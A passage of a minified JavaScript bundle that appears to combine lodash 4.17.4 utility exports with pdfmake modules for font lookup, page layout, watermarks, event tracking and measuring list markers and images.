                                    return s(t, it, e)
                                } catch (t) {
                                    return Ks(t) ? t : new tl(t)
                                }
                            }), Yh = ho(function (t, e) {
                                return c(e, function (e) {
                                    e = Ko(e), Xn(t, e, nh(t[e], t))
                                }), t
                            }), Kh = Zi(), Xh = Zi(!0), Jh = Qr(function (t, e) {
                                return function (n) {
                                    return xr(n, t, e)
                                }
                            }), Qh = Qr(function (t, e) {
                                return function (n) {
                                    return xr(t, n, e)
                                }
                            }), $h = Ji(g), tp = Ji(f), ep = Ji(b), np = to(), rp = to(!0), ip = Xi(function (t, e) {
                                return t + e
                            }, 0), op = ro("ceil"), ap = Xi(function (t, e) {
                                return t / e
                            }, 1), sp = ro("floor"), up = Xi(function (t, e) {
                                return t * e
                            }, 1), cp = ro("round"), lp = Xi(function (t, e) {
                                return t - e
                            }, 0);
                        return n.after = ws, n.ary = xs, n.assign = kh, n.assignIn = _h, n.assignInWith = Ch, n.assignWith = Ah, n.at = Eh, n.before = Ss, n.bind = nh, n.bindAll = Yh, n.bindKey = rh, n.castArray = Ms, n.chain = Ha, n.chunk = $o, n.compact = ta, n.concat = ea, n.cond = Sc, n.conforms = kc, n.constant = _c, n.countBy = Zf, n.create = _u, n.curry = ks, n.curryRight = _s, n.debounce = Cs, n.defaults = Ph, n.defaultsDeep = Ih, n.defer = ih, n.delay = oh, n.difference = If, n.differenceBy = Of, n.differenceWith = Tf, n.drop = na, n.dropRight = ra, n.dropRightWhile = ia, n.dropWhile = oa, n.fill = aa, n.filter = rs, n.flatMap = is, n.flatMapDeep = os, n.flatMapDepth = as, n.flatten = ca, n.flattenDeep = la, n.flattenDepth = fa, n.flip = As, n.flow = Kh, n.flowRight = Xh, n.fromPairs = ha, n.functions = Tu, n.functionsIn = Lu, n.groupBy = Xf, n.initial = ga, n.intersection = Lf, n.intersectionBy = Bf, n.intersectionWith = Rf, n.invert = Oh, n.invertBy = Th, n.invokeMap = Jf, n.iteratee = Ec, n.keyBy = Qf, n.keys = zu, n.keysIn = Fu, n.map = ls, n.mapKeys = Du, n.mapValues = Nu, n.matches = Pc, n.matchesProperty = Ic, n.memoize = Es, n.merge = Bh, n.mergeWith = Rh, n.method = Jh, n.methodOf = Qh, n.mixin = Oc, n.negate = Ps, n.nthArg = Bc, n.omit = Mh, n.omitBy = Uu, n.once = Is, n.orderBy = fs, n.over = $h, n.overArgs = ah, n.overEvery = tp, n.overSome = ep, n.partial = sh, n.partialRight = uh, n.partition = $f, n.pick = zh, n.pickBy = Wu, n.property = Rc, n.propertyOf = Mc, n.pull = Mf, n.pullAll = wa, n.pullAllBy = xa,
                            n.pullAllWith = Sa, n.pullAt = zf, n.range = np, n.rangeRight = rp, n.rearg = ch, n.reject = ds, n.remove = ka, n.rest = Os, n.reverse = _a,n.sampleSize = vs,n.set = Gu,n.setWith = Vu,n.shuffle = ys,n.slice = Ca,n.sortBy = th,n.sortedUniq = La,n.sortedUniqBy = Ba,n.split = fc,n.spread = Ts,n.tail = Ra,n.take = Ma,n.takeRight = za,n.takeRightWhile = Fa,n.takeWhile = Da,n.tap = Za,n.throttle = Ls,n.thru = Ya,n.toArray = vu,n.toPairs = Fh,n.toPairsIn = Dh,n.toPath = jc,n.toPlainObject = xu,n.transform = qu,n.unary = Bs,n.union = Ff,n.unionBy = Df,n.unionWith = Nf,n.uniq = Na,n.uniqBy = Ua,n.uniqWith = Wa,n.unset = Hu,n.unzip = ja,n.unzipWith = Ga,n.update = Zu,n.updateWith = Yu,n.values = Ku,n.valuesIn = Xu,n.without = Uf,n.words = xc,n.wrap = Rs,n.xor = Wf,n.xorBy = jf,n.xorWith = Gf,n.zip = Vf,n.zipObject = Va,n.zipObjectDeep = qa,n.zipWith = qf,n.entries = Fh,n.entriesIn = Dh,n.extend = _h,n.extendWith = Ch,Oc(n, n),n.add = ip,n.attempt = Zh,n.camelCase = Nh,n.capitalize = tc,n.ceil = op,n.clamp = Ju,n.clone = zs,n.cloneDeep = Ds,n.cloneDeepWith = Ns,n.cloneWith = Fs,n.conformsTo = Us,n.deburr = ec,n.defaultTo = Cc,n.divide = ap,n.endsWith = nc,n.eq = Ws,n.escape = rc,n.escapeRegExp = ic,n.every = ns,n.find = Yf,n.findIndex = sa,n.findKey = Cu,n.findLast = Kf,n.findLastIndex = ua,n.findLastKey = Au,n.floor = sp,n.forEach = ss,n.forEachRight = us,n.forIn = Eu,n.forInRight = Pu,n.forOwn = Iu,n.forOwnRight = Ou,n.get = Bu,n.gt = lh,n.gte = fh,n.has = Ru,n.hasIn = Mu,n.head = pa,n.identity = Ac,n.includes = cs,n.indexOf = da,n.inRange = Qu,n.invoke = Lh,n.isArguments = hh,n.isArray = ph,n.isArrayBuffer = dh,n.isArrayLike = js,n.isArrayLikeObject = Gs,n.isBoolean = Vs,n.isBuffer = gh,n.isDate = vh,n.isElement = qs,n.isEmpty = Hs,n.isEqual = Zs,n.isEqualWith = Ys,n.isError = Ks,n.isFinite = Xs,n.isFunction = Js,n.isInteger = Qs,n.isLength = $s,n.isMap = yh,n.isMatch = nu,n.isMatchWith = ru,n.isNaN = iu,n.isNative = ou,n.isNil = su,n.isNull = au,n.isNumber = uu,n.isObject = tu,n.isObjectLike = eu,n.isPlainObject = cu,n.isRegExp = mh,n.isSafeInteger = lu,n.isSet = bh,n.isString = fu,n.isSymbol = hu,n.isTypedArray = wh,n.isUndefined = pu,n.isWeakMap = du,n.isWeakSet = gu,n.join = va,n.kebabCase = Uh,n.last = ya,n.lastIndexOf = ma,n.lowerCase = Wh,n.lowerFirst = jh,n.lt = xh,n.lte = Sh,n.max = Vc,n.maxBy = qc,n.mean = Hc,n.meanBy = Zc,n.min = Yc,n.minBy = Kc,n.stubArray = zc,n.stubFalse = Fc,n.stubObject = Dc,n.stubString = Nc,n.stubTrue = Uc,n.multiply = up,n.nth = ba,n.noConflict = Tc,n.noop = Lc,n.now = eh,n.pad = oc,n.padEnd = ac,n.padStart = sc,n.parseInt = uc,n.random = $u,n.reduce = hs,n.reduceRight = ps,n.repeat = cc,n.replace = lc,n.result = ju,n.round = cp,n.runInContext = t,n.sample = gs,n.size = ms,n.snakeCase = Gh,n.some = bs,n.sortedIndex = Aa,n.sortedIndexBy = Ea,n.sortedIndexOf = Pa,n.sortedLastIndex = Ia,n.sortedLastIndexBy = Oa,n.sortedLastIndexOf = Ta,n.startCase = Vh,n.startsWith = hc,n.subtract = lp,n.sum = Xc,n.sumBy = Jc,n.template = pc,n.times = Wc,n.toFinite = yu,n.toInteger = mu,n.toLength = bu,n.toLower = dc,n.toNumber = wu,n.toSafeInteger = Su,n.toString = ku,n.toUpper = gc,n.trim = vc,n.trimEnd = yc,n.trimStart = mc,n.truncate = bc,n.unescape = wc,n.uniqueId = Gc,n.upperCase = qh,n.upperFirst = Hh,n.each = ss,n.eachRight = us,n.first = pa,Oc(n, function () {
                            var t = {};
                            return cr(n, function (e, r) {
                                hl.call(n.prototype, r) || (t[r] = e)
                            }), t
                        }(), {chain: !1}),n.VERSION = "4.17.4",c(["bind", "bindKey", "curry", "curryRight", "partial", "partialRight"], function (t) {
                            n[t].placeholder = n
                        }),c(["drop", "take"], function (t, e) {
                            w.prototype[t] = function (n) {
                                n = n === it ? 1 : Wl(mu(n), 0);
                                var r = this.__filtered__ && !e ? new w(this) : this.clone();
                                return r.__filtered__ ? r.__takeCount__ = jl(n, r.__takeCount__) : r.__views__.push({size: jl(n, zt), type: t + (r.__dir__ < 0 ? "Right" : "")}), r
                            }, w.prototype[t + "Right"] = function (e) {
                                return this.reverse()[t](e).reverse()
                            }
                        }),c(["filter", "map", "takeWhile"], function (t, e) {
                            var n = e + 1, r = n == Ot || 3 == n;
                            w.prototype[t] = function (t) {
                                var e = this.clone();
                                return e.__iteratees__.push({iteratee: mo(t, 3), type: n}), e.__filtered__ = e.__filtered__ || r, e
                            }
                        }),c(["head", "last"], function (t, e) {
                            var n = "take" + (e ? "Right" : "");
                            w.prototype[t] = function () {
                                return this[n](1).value()[0]
                            }
                        }),c(["initial", "tail"], function (t, e) {
                            var n = "drop" + (e ? "" : "Right");
                            w.prototype[t] = function () {
                                return this.__filtered__ ? new w(this) : this[n](1)
                            }
                        }),w.prototype.compact = function () {
                            return this.filter(Ac)
                        },w.prototype.find = function (t) {
                            return this.filter(t).head()
                        },w.prototype.findLast = function (t) {
                            return this.reverse().find(t)
                        },w.prototype.invokeMap = Qr(function (t, e) {
                            return "function" == typeof t ? new w(this) : this.map(function (n) {
                                return xr(n, t, e)
                            })
                        }),w.prototype.reject = function (t) {
                            return this.filter(Ps(mo(t)))
                        },w.prototype.slice = function (t, e) {
                            t = mu(t);
                            var n = this;
                            return n.__filtered__ && (t > 0 || e < 0) ? new w(n) : (t < 0 ? n = n.takeRight(-t) : t && (n = n.drop(t)), e !== it && (e = mu(e), n = e < 0 ? n.dropRight(-e) : n.take(e - t)), n)
                        },w.prototype.takeRightWhile = function (t) {
                            return this.reverse().takeWhile(t).reverse()
                        },w.prototype.toArray = function () {
                            return this.take(zt)
                        },cr(w.prototype, function (t, e) {
                            var r = /^(?:filter|find|map|reject)|While$/.test(e), o = /^(?:head|last)$/.test(e), a = n[o ? "take" + ("last" == e ? "Right" : "") : e],
                                s = o || /^find/.test(e);
                            a && (n.prototype[e] = function () {
                                var e = this.__wrapped__, u = o ? [1] : arguments, c = e instanceof w, l = u[0], f = c || ph(e), h = function (t) {
                                    var e = a.apply(n, v([t], u));
                                    return o && p ? e[0] : e
                                };
                                f && r && "function" == typeof l && 1 != l.length && (c = f = !1);
                                var p = this.__chain__, d = !!this.__actions__.length, g = s && !p, y = c && !d;
                                if (!s && f) {
                                    e = y ? e : new w(this);
                                    var m = t.apply(e, u);
                                    return m.__actions__.push({func: Ya, args: [h], thisArg: it}), new i(m, p)
                                }
                                return g && y ? t.apply(this, u) : (m = this.thru(h), g ? o ? m.value()[0] : m.value() : m)
                            })
                        }),c(["pop", "push", "shift", "sort", "splice", "unshift"], function (t) {
                            var e = sl[t], r = /^(?:push|sort|unshift)$/.test(t) ? "tap" : "thru", i = /^(?:pop|shift)$/.test(t);
                            n.prototype[t] = function () {
                                var t = arguments;
                                if (i && !this.__chain__) {
                                    var n = this.value();
                                    return e.apply(ph(n) ? n : [], t)
                                }
                                return this[r](function (n) {
                                    return e.apply(ph(n) ? n : [], t)
                                })
                            }
                        }),cr(w.prototype, function (t, e) {
                            var r = n[e];
                            if (r) {
                                var i = r.name + "";
                                (tf[i] || (tf[i] = [])).push({name: e, func: r})
                            }
                        }),tf[Yi(it, yt).name] = [{
                            name: "wrapper",
                            func: it
                        }],w.prototype.clone = I,w.prototype.reverse = J,w.prototype.value = et,n.prototype.at = Hf,n.prototype.chain = Ka,n.prototype.commit = Xa,n.prototype.next = Ja,n.prototype.plant = $a,n.prototype.reverse = ts,n.prototype.toJSON = n.prototype.valueOf = n.prototype.value = es,n.prototype.first = n.prototype.head,Pl && (n.prototype[Pl] = Qa),n
                    }();
                En._ = Gn, (r = function () {
                    return Gn
                }.call(e, n, e, i)) !== it && (i.exports = r)
            }).call(this)
        }).call(e, function () {
            return this
        }(), n(8)(t))
    }, function (t, e) {
        t.exports = function (t) {
            return t.webpackPolyfill || (t.deprecate = function () {
            }, t.paths = [], t.children = [], t.webpackPolyfill = 1), t
        }
    }, function (t, e, n) {
        "use strict";

        function r(t, e) {
            var n = "normal";
            return t && e ? n = "bolditalics" : t ? n = "bold" : e && (n = "italics"), n
        }

        function i(t, e) {
            this.fonts = {}, this.pdfKitDoc = e, this.fontCache = {};
            for (var n in t) if (t.hasOwnProperty(n)) {
                var r         = t[n];
                this.fonts[n] = {normal: r.normal, bold: r.bold, italics: r.italics, bolditalics: r.bolditalics}
            }
        }

        n(7).noConflict(), i.prototype.provideFont = function (t, e, n) {
            var i = r(e, n);
            if (!this.fonts[t] || !this.fonts[t][i]) throw new Error("Font '" + t + "' in style '" + i + "' is not defined in the font section of the document definition.");
            if (this.fontCache[t] = this.fontCache[t] || {}, !this.fontCache[t][i]) {
                var o = this.fonts[t][i];
                Array.isArray(o) || (o = [o]), this.fontCache[t][i] = this.pdfKitDoc.font.apply(this.pdfKitDoc, o)._font
            }
            return this.fontCache[t][i]
        }, t.exports = i
    }, function (t, e, n) {
        "use strict";

        function r(t, e) {
            a.each(e, function (e) {
                t.push(e)
            })
        }

        function i(t, e, n) {
            this.pageSize = t, this.pageMargins = e, this.tracker = new s, this.imageMeasure = n, this.tableLayouts = {}
        }

        function o(t) {
            var e = t.x, n = t.y;
            t.positions = [], a.each(t.canvas, function (t) {
                var e     = t.x, n = t.y, r = t.x1, i = t.y1, o = t.x2, a = t.y2;
                t.resetXY = function () {
                    t.x = e, t.y = n, t.x1 = r, t.y1 = i, t.x2 = o, t.y2 = a
                }
            }), t.resetXY = function () {
                t.x = e, t.y = n, a.each(t.canvas, function (t) {
                    t.resetXY()
                })
            }
        }

        var a = n(7), s = n(11), u = n(12), c = n(24), l = n(25), f = n(21), h = n(28), p = n(27), d = n(22).pack, g = n(22).offsetVector, v = n(22).fontStringify,
            y = n(22).isFunction, m = n(13), b = n(20);
        i.prototype.registerTableLayouts = function (t) {
            this.tableLayouts = d(this.tableLayouts, t)
        }, i.prototype.layoutDocument = function (t, e, n, r, i, o, s, c, l, f) {
            this.docMeasure = new u(e, n, r, this.imageMeasure, this.tableLayouts, c);
            for (var h = this.tryLayoutDocument(t, e, n, r, i, o, s, c, l); function (t, e) {
                return !!y(f) && (t = a.reject(t, function (t) {
                    return a.isEmpty(t.positions)
                }), a.each(t, function (t) {
                    var n = a.pick(t, ["id", "text", "ul", "ol", "table", "image", "qr", "canvas", "columns", "headlineLevel", "style", "pageBreak", "pageOrientation", "width", "height"]);
                    n.startPosition = a.first(t.positions), n.pageNumbers = a.chain(t.positions).map("pageNumber").uniq().value(), n.pages = e.length, n.stack = a.isArray(t.stack), t.nodeInfo = n
                }), a.some(t, function (t, e, n) {
                    if ("before" !== t.pageBreak && !t.pageBreakCalculated) {
                        t.pageBreakCalculated = !0;
                        var r                 = a.first(t.nodeInfo.pageNumbers), i = a.chain(n).drop(e + 1).filter(function (t) {
                            return a.includes(t.nodeInfo.pageNumbers, r)
                        }).value(), o         = a.chain(n).drop(e + 1).filter(function (t) {
                            return a.includes(t.nodeInfo.pageNumbers, r + 1)
                        }).value(), s         = a.chain(n).take(e).filter(function (t) {
                            return a.includes(t.nodeInfo.pageNumbers, r)
                        }).value();
                        if (f(t.nodeInfo, a.map(i, "nodeInfo"), a.map(o, "nodeInfo"), a.map(s, "nodeInfo"))) return t.pageBreak = "before", !0
                    }
                }))
            }(h.linearNodeList, h.pages);) !function (t) {
                a.each(t.linearNodeList, function (t) {
                    t.resetXY()
                })
            }(h), h = this.tryLayoutDocument(t, e, n, r, i, o, s, c, l);
            return h.pages
        }, i.prototype.tryLayoutDocument = function (t, e, n, r, i, o, a, s, u, f) {
            this.linearNodeList = [], t = this.docMeasure.measureDocument(t), this.writer = new l(new c(this.pageSize, this.pageMargins), this.tracker);
            var h = this;
            return this.writer.context().tracker.startTracking("pageAdded", function () {
                h.addBackground(i)
            }), this.addBackground(i), this.processNode(t), this.addHeadersAndFooters(o, a), null != u && this.addWatermark(u, e, r), {
                pages: this.writer.context().pages,
                linearNodeList: this.linearNodeList
            }
        }, i.prototype.addBackground = function (t) {
            var e = y(t) ? t : function () {
                return t
            }, n  = e(this.writer.context().page + 1);
            if (n) {
                var r = this.writer.context().getCurrentPage().pageSize;
                this.writer.beginUnbreakableBlock(r.width, r.height), this.processNode(this.docMeasure.measureDocument(n)), this.writer.commitUnbreakableBlock(0, 0)
            }
        }, i.prototype.addStaticRepeatable = function (t, e) {
            this.addDynamicRepeatable(function () {
                return t
            }, e)
        }, i.prototype.addDynamicRepeatable = function (t, e) {
            for (var n = this.writer.context().pages, r = 0, i = n.length; r < i; r++) {
                this.writer.context().page = r;
                var o                      = t(r + 1, i, this.writer.context().pages[r].pageSize);
                if (o) {
                    var a = e(this.writer.context().getCurrentPage().pageSize, this.pageMargins);
                    this.writer.beginUnbreakableBlock(a.width, a.height), this.processNode(this.docMeasure.measureDocument(o)), this.writer.commitUnbreakableBlock(a.x, a.y)
                }
            }
        }, i.prototype.addHeadersAndFooters = function (t, e) {
            var n = function (t, e) {
                return {x: 0, y: 0, width: t.width, height: e.top}
            }, r  = function (t, e) {
                return {x: 0, y: t.height - e.bottom, width: t.width, height: e.bottom}
            };
            y(t) ? this.addDynamicRepeatable(t, n) : t && this.addStaticRepeatable(t, n), y(e) ? this.addDynamicRepeatable(e, r) : e && this.addStaticRepeatable(e, r)
        }, i.prototype.addWatermark = function (t, e, n) {
            if ("string" == typeof t && (t = {text: t}), t.text) {
                t.font = t.font || n.font || "Roboto", t.color = t.color || "black", t.opacity = t.opacity || .6, t.bold = t.bold || !1, t.italics = t.italics || !1;
                for (var r = {
                    text: t.text, font: e.provideFont(t.font, t.bold, t.italics), size: function (t, e, n) {
                        for (var r, i = t.width, o = t.height, a = .8 * Math.sqrt(i * i + o * o), s = new m(n), u = new b(null, {
                            font: e.font,
                            bold: e.bold,
                            italics: e.italics
                        }), c         = 0, l = 1e3, f = (c + l) / 2; Math.abs(c - l) > 1;) u.push({fontSize: f}), r = s.sizeOfString(e.text, u), r.width > a ? (l = f, f = (c + l) / 2) : r.width < a && (c = f, f = (c + l) / 2), u.pop();
                        return {size: r, fontSize: f}
                    }(this.pageSize, t, e), color: t.color, opacity: t.opacity
                }, i       = this.writer.context().pages, o = 0, a = i.length; o < a; o++) i[o].watermark = r
            }
        }, i.prototype.processNode = function (t) {
            var e = this;
            this.linearNodeList.push(t), o(t), function (n) {
                var r = t._margin;
                "before" === t.pageBreak && e.writer.moveToNextPage(t.pageOrientation), r && (e.writer.context().moveDown(r[1]), e.writer.context().addMargin(r[0], r[2])), n(), r && (e.writer.context().addMargin(-r[0], -r[2]), e.writer.context().moveDown(r[3])), "after" === t.pageBreak && e.writer.moveToNextPage(t.pageOrientation)
            }(function () {
                var n = t.absolutePosition;
                n && (e.writer.context().beginDetachedBlock(), e.writer.context().moveTo(n.x || 0, n.y || 0));
                var r = t.relativePosition;
                if (r && (e.writer.context().beginDetachedBlock(), e.writer.context().moveTo((r.x || 0) + e.writer.context().x, (r.y || 0) + e.writer.context().y)), t.stack) e.processVerticalContainer(t); else if (t.columns) e.processColumns(t); else if (t.ul) e.processList(!1, t); else if (t.ol) e.processList(!0, t); else if (t.table) e.processTable(t); else if (void 0 !== t.text) e.processLeaf(t); else if (t.image) e.processImage(t); else if (t.canvas) e.processCanvas(t); else if (t.qr) e.processQr(t); else if (!t._span) throw"Unrecognized document structure: " + JSON.stringify(t, v);
                (n || r) && e.writer.context().endDetachedBlock()
            })
        }, i.prototype.processVerticalContainer = function (t) {
            var e = this;
            t.stack.forEach(function (n) {
                e.processNode(n), r(t.positions, n.positions)
            })
        }, i.prototype.processColumns = function (t) {
            var e = t.columns, n = this.writer.context().availableWidth, i = function (t) {
                if (!t) return null;
                var n = [];
                n.push(0);
                for (var r = e.length - 1; r > 0; r--) n.push(t);
                return n
            }(t._gap);
            i && (n -= (i.length - 1) * t._gap), f.buildColumnWidths(e, n);
            var o = this.processRow(e, e, i);
            r(t.positions, o.positions)
        }, i.prototype.processRow = function (t, e, n, i, o) {
            function a(t) {
                for (var e, n = 0, r = l.length; n < r; n++) {
                    var i = l[n];
                    if (i.prevPage === t.prevPage) {
                        e = i;
                        break
                    }
                }
                e || (e = t, l.push(e)), e.prevY = Math.max(e.prevY, t.prevY), e.y = Math.min(e.y, t.y)
            }

            function s(t) {
                return n && n.length > t ? n[t] : 0
            }

            function u(t, e) {
                if (t.rowSpan && t.rowSpan > 1) {
                    var n = o + t.rowSpan - 1;
                    if (n >= i.length) throw"Row span for column " + e + " (with indexes starting from 0) exceeded row count";
                    return i[n][e]
                }
                return null
            }

            var c = this, l = [], f = [];
            return this.tracker.auto("pageChanged", a, function () {
                e = e || t, c.writer.context().beginColumnGroup();
                for (var i = 0, o = t.length; i < o; i++) {
                    var a = t[i], l = e[i]._calcWidth, h = s(i);
                    if (a.colSpan && a.colSpan > 1) for (var p = 1; p < a.colSpan; p++) l += e[++i]._calcWidth + n[i];
                    c.writer.context().beginColumn(l, h, u(a, i)), a._span ? a._columnEndingContext && c.writer.context().markEnding(a) : (c.processNode(a), r(f, a.positions))
                }
                c.writer.context().completeColumnGroup()
            }), {pageBreaks: l, positions: f}
        }, i.prototype.processList = function (t, e) {
            function n(t) {
                if (s) {
                    var e = s;
                    if (s = null, e.canvas) {
                        var n = e.canvas[0];
                        g(n, -e._minWidth, 0), i.writer.addVector(n)
                    } else if (e._inlines) {
                        var r = new p(i.pageSize.width);
                        r.addInline(e._inlines[0]), r.x = -e._minWidth, r.y = t.getAscenderHeight() - r.getAscenderHeight(), i.writer.addLine(r, !0)
                    }
                }
            }

            var i = this, o = t ? e.ol : e.ul, a = e._gapSize;
            this.writer.context().addMargin(a.width);
            var s;
            this.tracker.auto("lineAdded", n, function () {
                o.forEach(function (t) {
                    s = t.listMarker, i.processNode(t), r(e.positions, t.positions)
                })
            }), this.writer.context().addMargin(-a.width)
        }, i.prototype.processTable = function (t) {
            var e = new h(t);
            e.beginTable(this.writer);
            for (var n = 0, i = t.table.body.length; n < i; n++) {
                e.beginRow(n, this.writer);
                var o = this.processRow(t.table.body[n], t.table.widths, t._offsets.offsets, t.table.body, n);
                r(t.positions, o.positions), e.endRow(n, this.writer, o.pageBreaks)
            }
            e.endTable(this.writer)
        }, i.prototype.processLeaf = function (t) {
            for (var e = this.buildNextLine(t), n = e ? e.getHeight() : 0, r = t.maxHeight || -1; e && (r === -1 || n < r);) {
                var i = this.writer.addLine(e);
                t.positions.push(i), e = this.buildNextLine(t), e && (n += e.getHeight())
            }
        }, i.prototype.buildNextLine = function (t) {
            if (!t._inlines || 0 === t._inlines.length) return null;
            for (var e = new p(this.writer.context().availableWidth); t._inlines && t._inlines.length > 0 && e.hasEnoughSpaceForInline(t._inlines[0]);) e.addInline(t._inlines.shift());
            return e.lastLineInParagraph = 0 === t._inlines.length, e
        }, i.prototype.processImage = function (t) {
            var e = this.writer.addImage(t);
            t.positions.push(e)
        }, i.prototype.processCanvas = function (t) {
            var e = t._minHeight;
            this.writer.context().availableHeight < e && this.writer.moveToNextPage(), t.canvas.forEach(function (e) {
                var n = this.writer.addVector(e);
                t.positions.push(n)
            }, this), this.writer.context().moveDown(e)
        }, i.prototype.processQr = function (t) {
            var e = this.writer.addQr(t);
            t.positions.push(e)
        }, t.exports = i
    }, function (t, e) {
        "use strict";

        function n() {
            this.events = {}
        }

        n.prototype.startTracking = function (t, e) {
            var n = this.events[t] || (this.events[t] = []);
            n.indexOf(e) < 0 && n.push(e)
        }, n.prototype.stopTracking = function (t, e) {
            var n = this.events[t];
            if (n) {
                var r = n.indexOf(e);
                r >= 0 && n.splice(r, 1)
            }
        }, n.prototype.emit = function (t) {
            var e = Array.prototype.slice.call(arguments, 1), n = this.events[t];
            n && n.forEach(function (t) {
                t.apply(this, e)
            })
        }, n.prototype.auto = function (t, e, n) {
            this.startTracking(t, e), n(), this.stopTracking(t, e)
        }, t.exports = n
    }, function (t, e, n) {
        "use strict";

        function r(t, e, n, r, a, s) {
            this.textTools = new i(t), this.styleStack = new o(e, n), this.imageMeasure = r, this.tableLayouts = a, this.images = s, this.autoImageIndex = 1
        }

        var i = n(13), o = n(20), a = n(21), s = n(22).fontStringify, u = n(22).pack, c = n(23);
        r.prototype.measureDocument = function (t) {
            return this.measureNode(t)
        }, r.prototype.measureNode = function (t) {
            function e(t) {
                var e = t._margin;
                return e && (t._minWidth += e[0] + e[2], t._maxWidth += e[0] + e[2]), t
            }

            function n() {
                function e(t, e) {
                    return t.marginLeft || t.marginTop || t.marginRight || t.marginBottom ? [t.marginLeft || e[0] || 0, t.marginTop || e[1] || 0, t.marginRight || e[2] || 0, t.marginBottom || e[3] || 0] : e
                }

                function n(t) {
                    return "number" == typeof t || t instanceof Number ? t = [t, t, t, t] : Array.isArray(t) && 2 === t.length && (t = [t[0], t[1], t[0], t[1]]), t
                }

                var i = [void 0, void 0, void 0, void 0];
                if (t.style) {
                    var o = Array.isArray(t.style) ? t.style : [t.style], a = function (t) {
                        for (var e = {}, n = t.length - 1; n >= 0; n--) {
                            var i = t[n], o = r.styleStack.styleDictionary[i];
                            for (var a in o) o.hasOwnProperty(a) && (e[a] = o[a])
                        }
                        return e
                    }(o);
                    a && (i = e(a, i)), a.margin && (i = n(a.margin))
                }
                return i = e(t, i), t.margin && (i = n(t.margin)), void 0 === i[0] && void 0 === i[1] && void 0 === i[2] && void 0 === i[3] ? null : i
            }

            Array.isArray(t) ? t = {stack: t} : "string" == typeof t || t instanceof String ? t = {text: t} : "number" == typeof t || "boolean" == typeof t ? t = {text: t.toString()} : null === t && (t = {text: ""}), 0 === Object.keys(t).length && (t = {text: ""});
            var r = this;
            return this.styleStack.auto(t, function () {
                if (t._margin = n(), t.columns) return e(r.measureColumns(t));
                if (t.stack) return e(r.measureVerticalContainer(t));
                if (t.ul) return e(r.measureUnorderedList(t));
                if (t.ol) return e(r.measureOrderedList(t));
                if (t.table) return e(r.measureTable(t));
                if (void 0 !== t.text) return e(r.measureLeaf(t));
                if (t.image) return e(r.measureImage(t));
                if (t.canvas) return e(r.measureCanvas(t));
                if (t.qr) return e(r.measureQr(t));
                throw"Unrecognized document structure: " + JSON.stringify(t, s)
            })
        }, r.prototype.convertIfBase64Image = function (t) {
            if (/^data:image\/(jpeg|jpg|png);base64,/.test(t.image)) {
                var e = "$$pdfmake$$" + this.autoImageIndex++;
                this.images[e] = t.image, t.image = e
            }
        }, r.prototype.measureImage = function (t) {
            this.images && this.convertIfBase64Image(t);
            var e = this.imageMeasure.measureImage(t.image);
            if (t.fit) {
                var n = e.width / e.height > t.fit[0] / t.fit[1] ? t.fit[0] / e.width : t.fit[1] / e.height;
                t._width = t._minWidth = t._maxWidth = e.width * n, t._height = e.height * n
            } else t._width = t._minWidth = t._maxWidth = t.width || e.width, t._height = t.height || e.height * t._width / e.width;
            return t._alignment = this.styleStack.getProperty("alignment"), t
        }, r.prototype.measureLeaf = function (t) {
            var e = this.styleStack.clone();
            e.push(t);
            var n = this.textTools.buildInlines(t.text, e);
            return t._inlines = n.items, t._minWidth = n.minWidth, t._maxWidth = n.maxWidth, t
        }, r.prototype.measureVerticalContainer = function (t) {
            var e = t.stack;
            t._minWidth = 0, t._maxWidth = 0;
            for (var n = 0, r = e.length; n < r; n++) e[n] = this.measureNode(e[n]), t._minWidth = Math.max(t._minWidth, e[n]._minWidth), t._maxWidth = Math.max(t._maxWidth, e[n]._maxWidth);
            return t
        }, r.prototype.gapSizeForList = function () {
            return this.textTools.sizeOfString("9. ", this.styleStack)
        }, r.prototype.buildUnorderedMarker = function (t, e, n) {
            var r, i = t.getProperty("markerColor") || t.getProperty("color") || "black";
            switch (n) {
                case"circle":
                    r = function (t, e) {
                        var n = t.fontSize / 6;
                        return {canvas: [{x: n, y: t.height / t.lineHeight + t.descender - t.fontSize / 3, r1: n, r2: n, type: "ellipse", lineColor: e}]}
                    }(e, i);
                    break;
                case"square":
                    r = function (t, e) {
                        var n = t.fontSize / 3;
                        return {canvas: [{x: 0, y: t.height / t.lineHeight + t.descender - t.fontSize / 3 - n / 2, h: n, w: n, type: "rect", color: e}]}
                    }(e, i);
                    break;
                case"none":
                    r = {};
                    break;
                case"disc":
                default:
                    r = function (t, e) {
                        var n = t.fontSize / 6;
                        return {canvas: [{x: n, y: t.height / t.lineHeight + t.descender - t.fontSize / 3, r1: n, r2: n, type: "ellipse", color: e}]}
                    }(e, i)
            }
            return r._minWidth = r._maxWidth = e.width, r._minHeight = r._maxHeight = e.height, r
        }, r.prototype.buildOrderedMarker = function (t, e, n, r) {
            function i(t) {
                function e(t) {
                    return (t >= 26 ? e((t / 26 >> 0) - 1) : "") + "abcdefghijklmnopqrstuvwxyz"[t % 26 >> 0]
                }

                return t < 1 ? t.toString() : e(t - 1)
            }

            function o(t) {
                if (t < 1 || t > 4999) return t.toString();
                var e, n = t, r = {M: 1e3, CM: 900, D: 500, CD: 400, C: 100, XC: 90, L: 50, XL: 40, X: 10, IX: 9, V: 5, IV: 4, I: 1}, i = "";
                for (e in r) for (; n >= r[e];) i += e, n -= r[e];
                return i
            }

            var a;
            switch (n) {
                case"none":
                    a = null;
                    break;
                case"upper-alpha":
                    a = i(t).toUpperCase();
                    break;
                case"lower-alpha":
                    a = i(t);
                    break;
                case"upper-roman":
                    a = o(t);
                    break;
                case"lower-roman":
                    a = o(t).toLowerCase();
                    break;
                case"decimal":
                default:
                    a = function (t) {
                        return t.toString()
                    }(t)
            }
            if (null === a) return {};
            r && (Array.isArray(r) ? (r[0] && (a = r[0] + a), r[1] && (a += r[1]), a += " ") : a += r + " ");
            var s = {text: a}, u = e.getProperty("markerColor");
            return u && (s.color = u), {_inlines: this.textTools.buildInlines(s, e).items}
        }, r.prototype.measureUnorderedList = function (t) {
            var e = this.styleStack.clone(), n = t.ul;
            t.type = t.type || "disc", t._gapSize = this.gapSizeForList(), t._minWidth = 0, t._maxWidth = 0;
            for (var r = 0, i = n.length; r < i; r++) {
                var o = n[r] = this.measureNode(n[r]);
                o.ol || o.ul || (o.listMarker = this.buildUnorderedMarker(e, t._gapSize, t.type)), t._minWidth = Math.max(t._minWidth, n[r]._minWidth + t._gapSize.width), t._maxWidth = Math.max(t._maxWidth, n[r]._maxWidth + t._gapSize.width)
            }
            return t
        }, r.prototype.measureOrderedList = function (t) {
            var e = this.styleStack.clone(), n = t.ol;
